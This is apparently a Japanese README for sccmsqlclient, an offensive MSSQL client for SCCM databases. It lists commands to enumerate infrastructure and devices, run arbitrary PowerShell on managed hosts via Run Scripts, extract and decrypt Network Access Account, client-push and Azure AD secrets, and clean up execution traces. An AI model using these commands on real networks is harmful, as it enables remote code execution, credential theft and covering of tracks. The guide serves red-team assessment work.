
SCCM データベースの探索と悪用のための専用 MSSQL クライアントです。
$ pipx install git+https://github.com/synacktiv/sccmsqlclient/
リポジトリをクローンして依存関係をインストールすることで導入できます。
$ git clone https://github.com/synacktiv/sccmsqlclient
$ cd sccmsqlclient
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
sccmsqlclient.py は、同じ TDS(Tabular Data Stream)MSSQL プロトコル実装に基づいているため、Impacket の mssqlclient.py と同じ認証モデルと構文を使用します。
すでに Impacket ツールに慣れている場合、使用方法とログイン形式は同一です。
$ python3 sccmsqlclient.py -windows-auth 'DOMAIN/USER:password'@mp.local
マルチサイト階層内の SCCM サイトとサーバーを一覧表示します。
> sccm_sites
> sccm_servers
階層内の SCCM インフラストラクチャ サーバーと、それらに割り当てられた役割を列挙します。
> sccm_sysreslist [ROLE_NAME]
> sccm_mp
> sccm_dp
このコマンド群は、インフラストラクチャの構成要素とその責務を把握するために、SCCM のシステム リソースと役割の割り当てデータを照会します。
sccm_sysreslist → 登録済みのすべての SCCM システム リソースとその役割を一覧表示しますsccm_sysreslist [ROLE_NAME] → 役割名で結果をフィルタリングします(例: 管理ポイント、配布ポイント)sccm_mp → すべての管理ポイントを一覧表示するショートカットsccm_dp → すべての配布ポイントを一覧表示するショートカット名前または IP アドレスによる部分フィルタリングで、既知のデバイスを一覧表示します
> sccm_devices [FILTER]
BGB / 通知チャネルの状態(OnlineStatus=0|1)を併せてクライアントを一覧表示します
> sccm_devices_bgbstatus [FILTER]
Run Scripts 機能を利用して、管理対象デバイス上で PowerShell スクリプトを実行します
文字列から直接 PowerShell スクリプトを定義します。
> set_ps1_script "<string>"
例:
> set_ps1_script "Get-Process | Select-Object -First 10"
ローカルの .ps1 ファイルからスクリプトを読み込みます。
例:
> load_ps1_script ./script.ps1
事前に定義したスクリプトを、対象の SCCM リソースに対して実行します。
> sccm_run_script <RESOURCE_ID>
例:
> sccm_run_script 16777219
実行すると、このコマンドは 2 つの GUID を生成します:
これらの識別子は自動的にメモリに保存され、次のコマンドで再利用されます:
last_task_outputllast_task_output_printlast_task_cleanこれにより、GUID を手動で指定することなく、直近の実行を操作できます。
sccm_run_script で起動した直近のタスクの結果を表示します。
> last_task_output
最後の SCCM Run Script 実行からメモリに保存された生の実行出力を取得します。
直近のタスクの実行出力を人間が読みやすい形式で表示します。
> last_task_output_print
最後の SCCM Run Script 実行の生出力を整形・整理し、読みやすく解釈しやすくします。
タスクまたはスクリプトの実行状態を取得します。
> sccm_ScriptsExecutionStatus [TASK_GUID|SCRIPT_GUID]
例:
> sccm_ScriptsExecutionStatus
> sccm_ScriptsExecutionStatus 4F3A1B2C-AAAA-BBBB-CCCC-1234567890AB
追跡中の直近の SCCM タスクを削除します。
> last_task_clean
特定の Background Group(BGB)タスクを削除します。
> sccm_BGB_Tasks_clean <TASK_GUID>
例:
> sccm_BGB_Tasks_clean 4F3A1B2C-AAAA-BBBB-CCCC-1234567890AB
SCCM から Run Script オブジェクトを削除します。
> sccm_script_delete <SCRIPT_GUID>
例:
> sccm_script_delete 7F2C9D11-1111-2222-3333-ABCDEF987654
これらのコマンドは、Network Access Account(NAA)、クライアント プッシュの資格情報、Azure AD アプリケーション構成など、SCCM 関連の機密シークレットの列挙と抽出を可能にします。復号は、SCCM Run Scripts を介したリモート スクリプトの実行に依存しています。
Network Access Account(NAA)やクライアント プッシュ導入アカウントなど、特権操作向けに構成された SCCM ユーザー アカウントを取得します。
> sccm_useraccounts
SCCM 内に保存されている Azure AD アプリケーション構成を列挙します。
> sccm_add_apps
保存されたシークレット Blob を復号するために、SCCM 管理ポイントまたは管理対象クライアント上でリモート スクリプトを実行します。
> sccm_decrypt_blob [RESOURCE_ID] [HEXBLOB]
このコマンドは:
RESOURCE_ID が必要です(sccm_devices_bgbstatus を参照)sccm_add_apps または sccm_useraccounts から取得した 16 進エンコードされた Blob を復号します実行はリモートで行われ、復号結果は SCCM Run Script の実行チャネルを通じて返されます。